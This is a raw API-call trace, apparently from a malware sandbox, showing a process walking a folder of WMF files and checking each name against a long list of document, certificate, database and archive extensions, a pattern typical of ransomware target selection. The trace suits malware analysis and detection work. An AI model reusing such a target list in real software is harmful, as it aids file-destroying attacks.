lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cr2") returned 4 [0246.508] lstrcmpiW (lpString1=".cr2", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".crt") returned 4 [0246.508] lstrcmpiW (lpString1=".crt", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".crw") returned 4 [0246.508] lstrcmpiW (lpString1=".crw", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cs") returned 3 [0246.508] lstrcmpiW (lpString1=".cs", lpString2="WMF") returned -1 [0246.508] lstrlenW (lpString=".css") returned 4 [0246.508] lstrcmpiW (lpString1=".css", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".csv") returned 4 [0246.508] lstrcmpiW (lpString1=".csv", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".cub") returned 4 [0246.508] lstrcmpiW (lpString1=".cub", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dae") returned 4 [0246.508] lstrcmpiW (lpString1=".dae", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dat") returned 4 [0246.508] lstrcmpiW (lpString1=".dat", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".db") returned 3 [0246.508] lstrcmpiW (lpString1=".db", lpString2="WMF") returned -1 [0246.508] lstrlenW (lpString=".dbf") returned 4 [0246.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dbx") returned 4 [0246.508] lstrcmpiW (lpString1=".dbx", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dc3") returned 4 [0246.508] lstrcmpiW (lpString1=".dc3", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dcm") returned 4 [0246.508] lstrcmpiW (lpString1=".dcm", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".dcr") returned 4 [0246.508] lstrcmpiW (lpString1=".dcr", lpString2=".WMF") returned -1 [0246.508] lstrlenW (lpString=".der") returned 4 [0246.509] lstrcmpiW (lpString1=".der", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dib") returned 4 [0246.509] lstrcmpiW (lpString1=".dib", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dic") returned 4 [0246.509] lstrcmpiW (lpString1=".dic", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dif") returned 4 [0246.509] lstrcmpiW (lpString1=".dif", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".divx") returned 5 [0246.509] lstrcmpiW (lpString1=".divx", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".djvu") returned 5 [0246.509] lstrcmpiW (lpString1=".djvu", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".dng") returned 4 [0246.509] lstrcmpiW (lpString1=".dng", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".doc") returned 4 [0246.509] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".docm") returned 5 [0246.509] lstrcmpiW (lpString1=".docm", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".docx") returned 5 [0246.509] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".dot") returned 4 [0246.509] lstrcmpiW (lpString1=".dot", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dotm") returned 5 [0246.509] lstrcmpiW (lpString1=".dotm", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".dotx") returned 5 [0246.509] lstrcmpiW (lpString1=".dotx", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".dpx") returned 4 [0246.509] lstrcmpiW (lpString1=".dpx", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dqy") returned 4 [0246.509] lstrcmpiW (lpString1=".dqy", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dsn") returned 4 [0246.509] lstrcmpiW (lpString1=".dsn", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dt") returned 3 [0246.509] lstrcmpiW (lpString1=".dt", lpString2="WMF") returned -1 [0246.509] lstrlenW (lpString=".dtd") returned 4 [0246.509] lstrcmpiW (lpString1=".dtd", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dwg") returned 4 [0246.509] lstrcmpiW (lpString1=".dwg", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dwt") returned 4 [0246.509] lstrcmpiW (lpString1=".dwt", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".dx") returned 3 [0246.509] lstrcmpiW (lpString1=".dx", lpString2="WMF") returned -1 [0246.509] lstrlenW (lpString=".dxf") returned 4 [0246.509] lstrcmpiW (lpString1=".dxf", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".edml") returned 5 [0246.509] lstrcmpiW (lpString1=".edml", lpString2="6.WMF") returned -1 [0246.509] lstrlenW (lpString=".efd") returned 4 [0246.509] lstrcmpiW (lpString1=".efd", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".elf") returned 4 [0246.509] lstrcmpiW (lpString1=".elf", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".emf") returned 4 [0246.509] lstrcmpiW (lpString1=".emf", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".emz") returned 4 [0246.509] lstrcmpiW (lpString1=".emz", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".epf") returned 4 [0246.509] lstrcmpiW (lpString1=".epf", lpString2=".WMF") returned -1 [0246.509] lstrlenW (lpString=".eps") returned 4 [0246.510] lstrcmpiW (lpString1=".eps", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".epsf") returned 5 [0246.510] lstrcmpiW (lpString1=".epsf", lpString2="6.WMF") returned -1 [0246.510] lstrlenW (lpString=".epsp") returned 5 [0246.510] lstrcmpiW (lpString1=".epsp", lpString2="6.WMF") returned -1 [0246.510] lstrlenW (lpString=".erf") returned 4 [0246.510] lstrcmpiW (lpString1=".erf", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".exr") returned 4 [0246.510] lstrcmpiW (lpString1=".exr", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".f4v") returned 4 [0246.510] lstrcmpiW (lpString1=".f4v", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".fido") returned 5 [0246.510] lstrcmpiW (lpString1=".fido", lpString2="6.WMF") returned -1 [0246.510] lstrlenW (lpString=".flm") returned 4 [0246.510] lstrcmpiW (lpString1=".flm", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".flv") returned 4 [0246.510] lstrcmpiW (lpString1=".flv", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".frm") returned 4 [0246.510] lstrcmpiW (lpString1=".frm", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".fxg") returned 4 [0246.510] lstrcmpiW (lpString1=".fxg", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".geo") returned 4 [0246.510] lstrcmpiW (lpString1=".geo", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".gif") returned 4 [0246.510] lstrcmpiW (lpString1=".gif", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".grs") returned 4 [0246.510] lstrcmpiW (lpString1=".grs", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".gz") returned 3 [0246.510] lstrcmpiW (lpString1=".gz", lpString2="WMF") returned -1 [0246.510] lstrlenW (lpString=".h") returned 2 [0246.510] lstrcmpiW (lpString1=".h", lpString2="MF") returned -1 [0246.510] lstrlenW (lpString=".hdr") returned 4 [0246.510] lstrcmpiW (lpString1=".hdr", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".hpp") returned 4 [0246.510] lstrcmpiW (lpString1=".hpp", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".hta") returned 4 [0246.510] lstrcmpiW (lpString1=".hta", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".htc") returned 4 [0246.510] lstrcmpiW (lpString1=".htc", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".htm") returned 4 [0246.510] lstrcmpiW (lpString1=".htm", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".html") returned 5 [0246.510] lstrcmpiW (lpString1=".html", lpString2="6.WMF") returned -1 [0246.510] lstrlenW (lpString=".icb") returned 4 [0246.510] lstrcmpiW (lpString1=".icb", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".ics") returned 4 [0246.510] lstrcmpiW (lpString1=".ics", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".iff") returned 4 [0246.510] lstrcmpiW (lpString1=".iff", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".inc") returned 4 [0246.510] lstrcmpiW (lpString1=".inc", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".indd") returned 5 [0246.510] lstrcmpiW (lpString1=".indd", lpString2="6.WMF") returned -1 [0246.510] lstrlenW (lpString=".ini") returned 4 [0246.510] lstrcmpiW (lpString1=".ini", lpString2=".WMF") returned -1 [0246.510] lstrlenW (lpString=".iqy") returned 4 [0246.511] lstrcmpiW (lpString1=".iqy", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".j2c") returned 4 [0246.511] lstrcmpiW (lpString1=".j2c", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".j2k") returned 4 [0246.511] lstrcmpiW (lpString1=".j2k", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".java") returned 5 [0246.511] lstrcmpiW (lpString1=".java", lpString2="6.WMF") returned -1 [0246.511] lstrlenW (lpString=".jp2") returned 4 [0246.511] lstrcmpiW (lpString1=".jp2", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".jpc") returned 4 [0246.511] lstrcmpiW (lpString1=".jpc", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".jpe") returned 4 [0246.511] lstrcmpiW (lpString1=".jpe", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".jpeg") returned 5 [0246.511] lstrcmpiW (lpString1=".jpeg", lpString2="6.WMF") returned -1 [0246.511] lstrlenW (lpString=".jpf") returned 4 [0246.511] lstrcmpiW (lpString1=".jpf", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".jpg") returned 4 [0246.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".jpx") returned 4 [0246.511] lstrcmpiW (lpString1=".jpx", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".js") returned 3 [0246.511] lstrcmpiW (lpString1=".js", lpString2="WMF") returned -1 [0246.511] lstrlenW (lpString=".jsf") returned 4 [0246.511] lstrcmpiW (lpString1=".jsf", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".json") returned 5 [0246.511] lstrcmpiW (lpString1=".json", lpString2="6.WMF") returned -1 [0246.511] lstrlenW (lpString=".jsp") returned 4 [0246.511] lstrcmpiW (lpString1=".jsp", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".kdc") returned 4 [0246.511] lstrcmpiW (lpString1=".kdc", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".kmz") returned 4 [0246.511] lstrcmpiW (lpString1=".kmz", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".kwm") returned 4 [0246.511] lstrcmpiW (lpString1=".kwm", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".lasso") returned 6 [0246.511] lstrcmpiW (lpString1=".lasso", lpString2="16.WMF") returned -1 [0246.511] lstrlenW (lpString=".lbi") returned 4 [0246.511] lstrcmpiW (lpString1=".lbi", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".lgf") returned 4 [0246.511] lstrcmpiW (lpString1=".lgf", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".lgp") returned 4 [0246.511] lstrcmpiW (lpString1=".lgp", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".log") returned 4 [0246.511] lstrcmpiW (lpString1=".log", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".m1v") returned 4 [0246.511] lstrcmpiW (lpString1=".m1v", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".m4a") returned 4 [0246.511] lstrcmpiW (lpString1=".m4a", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".m4v") returned 4 [0246.511] lstrcmpiW (lpString1=".m4v", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".max") returned 4 [0246.511] lstrcmpiW (lpString1=".max", lpString2=".WMF") returned -1 [0246.511] lstrlenW (lpString=".md") returned 3 [0246.511] lstrcmpiW (lpString1=".md", lpString2="WMF") returned -1 [0246.511] lstrlenW (lpString=".mda") returned 4 [0246.512] lstrcmpiW (lpString1=".mda", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mdb") returned 4 [0246.512] lstrcmpiW (lpString1=".mdb", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mde") returned 4 [0246.512] lstrcmpiW (lpString1=".mde", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mdf") returned 4 [0246.512] lstrcmpiW (lpString1=".mdf", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mdw") returned 4 [0246.512] lstrcmpiW (lpString1=".mdw", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mef") returned 4 [0246.512] lstrcmpiW (lpString1=".mef", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mft") returned 4 [0246.512] lstrcmpiW (lpString1=".mft", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mfw") returned 4 [0246.512] lstrcmpiW (lpString1=".mfw", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mht") returned 4 [0246.512] lstrcmpiW (lpString1=".mht", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mhtml") returned 6 [0246.512] lstrcmpiW (lpString1=".mhtml", lpString2="16.WMF") returned -1 [0246.512] lstrlenW (lpString=".mka") returned 4 [0246.512] lstrcmpiW (lpString1=".mka", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mkidx") returned 6 [0246.512] lstrcmpiW (lpString1=".mkidx", lpString2="16.WMF") returned -1 [0246.512] lstrlenW (lpString=".mkv") returned 4 [0246.512] lstrcmpiW (lpString1=".mkv", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mos") returned 4 [0246.512] lstrcmpiW (lpString1=".mos", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mov") returned 4 [0246.512] lstrcmpiW (lpString1=".mov", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mp3") returned 4 [0246.512] lstrcmpiW (lpString1=".mp3", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mp4") returned 4 [0246.512] lstrcmpiW (lpString1=".mp4", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mpeg") returned 5 [0246.512] lstrcmpiW (lpString1=".mpeg", lpString2="6.WMF") returned -1 [0246.512] lstrlenW (lpString=".mpg") returned 4 [0246.512] lstrcmpiW (lpString1=".mpg", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mpv") returned 4 [0246.512] lstrcmpiW (lpString1=".mpv", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mrw") returned 4 [0246.512] lstrcmpiW (lpString1=".mrw", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".msg") returned 4 [0246.512] lstrcmpiW (lpString1=".msg", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".mxl") returned 4 [0246.512] lstrcmpiW (lpString1=".mxl", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".myd") returned 4 [0246.512] lstrcmpiW (lpString1=".myd", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".myi") returned 4 [0246.512] lstrcmpiW (lpString1=".myi", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".nef") returned 4 [0246.512] lstrcmpiW (lpString1=".nef", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".nrw") returned 4 [0246.512] lstrcmpiW (lpString1=".nrw", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".obj") returned 4 [0246.512] lstrcmpiW (lpString1=".obj", lpString2=".WMF") returned -1 [0246.512] lstrlenW (lpString=".odb") returned 4 [0246.513] lstrcmpiW (lpString1=".odb", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".odc") returned 4 [0246.513] lstrcmpiW (lpString1=".odc", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".odm") returned 4 [0246.513] lstrcmpiW (lpString1=".odm", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".odp") returned 4 [0246.513] lstrcmpiW (lpString1=".odp", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".ods") returned 4 [0246.513] lstrcmpiW (lpString1=".ods", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".oft") returned 4 [0246.513] lstrcmpiW (lpString1=".oft", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".one") returned 4 [0246.513] lstrcmpiW (lpString1=".one", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".onepkg") returned 7 [0246.513] lstrcmpiW (lpString1=".onepkg", lpString2="016.WMF") returned -1 [0246.513] lstrlenW (lpString=".onetoc2") returned 8 [0246.513] lstrcmpiW (lpString1=".onetoc2", lpString2="8016.WMF") returned -1 [0246.513] lstrlenW (lpString=".opt") returned 4 [0246.513] lstrcmpiW (lpString1=".opt", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".oqy") returned 4 [0246.513] lstrcmpiW (lpString1=".oqy", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".orf") returned 4 [0246.513] lstrcmpiW (lpString1=".orf", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".p12") returned 4 [0246.513] lstrcmpiW (lpString1=".p12", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".p7b") returned 4 [0246.513] lstrcmpiW (lpString1=".p7b", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".p7c") returned 4 [0246.513] lstrcmpiW (lpString1=".p7c", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pam") returned 4 [0246.513] lstrcmpiW (lpString1=".pam", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pbm") returned 4 [0246.513] lstrcmpiW (lpString1=".pbm", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pct") returned 4 [0246.513] lstrcmpiW (lpString1=".pct", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pcx") returned 4 [0246.513] lstrcmpiW (lpString1=".pcx", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pdd") returned 4 [0246.513] lstrcmpiW (lpString1=".pdd", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pdf") returned 4 [0246.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pdp") returned 4 [0246.513] lstrcmpiW (lpString1=".pdp", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pef") returned 4 [0246.513] lstrcmpiW (lpString1=".pef", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pem") returned 4 [0246.513] lstrcmpiW (lpString1=".pem", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pff") returned 4 [0246.513] lstrcmpiW (lpString1=".pff", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pfm") returned 4 [0246.513] lstrcmpiW (lpString1=".pfm", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pfx") returned 4 [0246.513] lstrcmpiW (lpString1=".pfx", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".pgm") returned 4 [0246.513] lstrcmpiW (lpString1=".pgm", lpString2=".WMF") returned -1 [0246.513] lstrlenW (lpString=".php") returned 4 [0246.514] lstrcmpiW (lpString1=".php", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".php3") returned 5 [0246.514] lstrcmpiW (lpString1=".php3", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".php4") returned 5 [0246.514] lstrcmpiW (lpString1=".php4", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".php5") returned 5 [0246.514] lstrcmpiW (lpString1=".php5", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".phtml") returned 6 [0246.514] lstrcmpiW (lpString1=".phtml", lpString2="16.WMF") returned -1 [0246.514] lstrlenW (lpString=".pict") returned 5 [0246.514] lstrcmpiW (lpString1=".pict", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".pl") returned 3 [0246.514] lstrcmpiW (lpString1=".pl", lpString2="WMF") returned -1 [0246.514] lstrlenW (lpString=".pls") returned 4 [0246.514] lstrcmpiW (lpString1=".pls", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pm") returned 3 [0246.514] lstrcmpiW (lpString1=".pm", lpString2="WMF") returned -1 [0246.514] lstrlenW (lpString=".png") returned 4 [0246.514] lstrcmpiW (lpString1=".png", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pnm") returned 4 [0246.514] lstrcmpiW (lpString1=".pnm", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pot") returned 4 [0246.514] lstrcmpiW (lpString1=".pot", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".potm") returned 5 [0246.514] lstrcmpiW (lpString1=".potm", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".potx") returned 5 [0246.514] lstrcmpiW (lpString1=".potx", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".ppa") returned 4 [0246.514] lstrcmpiW (lpString1=".ppa", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".ppam") returned 5 [0246.514] lstrcmpiW (lpString1=".ppam", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".ppm") returned 4 [0246.514] lstrcmpiW (lpString1=".ppm", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pps") returned 4 [0246.514] lstrcmpiW (lpString1=".pps", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".ppsm") returned 5 [0246.514] lstrcmpiW (lpString1=".ppsm", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".ppt") returned 4 [0246.514] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pptm") returned 5 [0246.514] lstrcmpiW (lpString1=".pptm", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".pptx") returned 5 [0246.514] lstrcmpiW (lpString1=".pptx", lpString2="6.WMF") returned -1 [0246.514] lstrlenW (lpString=".prn") returned 4 [0246.514] lstrcmpiW (lpString1=".prn", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".ps") returned 3 [0246.514] lstrcmpiW (lpString1=".ps", lpString2="WMF") returned -1 [0246.514] lstrlenW (lpString=".psb") returned 4 [0246.514] lstrcmpiW (lpString1=".psb", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".psd") returned 4 [0246.514] lstrcmpiW (lpString1=".psd", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pst") returned 4 [0246.514] lstrcmpiW (lpString1=".pst", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".ptx") returned 4 [0246.514] lstrcmpiW (lpString1=".ptx", lpString2=".WMF") returned -1 [0246.514] lstrlenW (lpString=".pub") returned 4 [0246.514] lstrcmpiW (lpString1=".pub", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".pwm") returned 4 [0246.515] lstrcmpiW (lpString1=".pwm", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".pxr") returned 4 [0246.515] lstrcmpiW (lpString1=".pxr", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".py") returned 3 [0246.515] lstrcmpiW (lpString1=".py", lpString2="WMF") returned -1 [0246.515] lstrlenW (lpString=".qt") returned 3 [0246.515] lstrcmpiW (lpString1=".qt", lpString2="WMF") returned -1 [0246.515] lstrlenW (lpString=".r3d") returned 4 [0246.515] lstrcmpiW (lpString1=".r3d", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".raf") returned 4 [0246.515] lstrcmpiW (lpString1=".raf", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".rar") returned 4 [0246.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0246.515] lstrlenW (lpString=".raw") returned 4 [0246.515] lstrcmpiW (lpString1=".raw", lpString2=".WMF") returned -1 [0246.515] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5cae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198020.WMF", cAlternateFileName="")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8860, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198021.WMF", cAlternateFileName="")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb88785, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb88785, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb88785, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6624, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198022.WMF", cAlternateFileName="")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3cce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198025.WMF", cAlternateFileName="")) returned 1 [0246.515] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198102.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa520, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198113.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebae9de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebae9de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0246.516] FindNextFileW (in: hFindFile=0x60efb0, lpFindFileData=0x312f08c | out: lpFindFileData=0x312f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebae9de, ftCreationTime.dwHighDateTime=0x1d327e8, 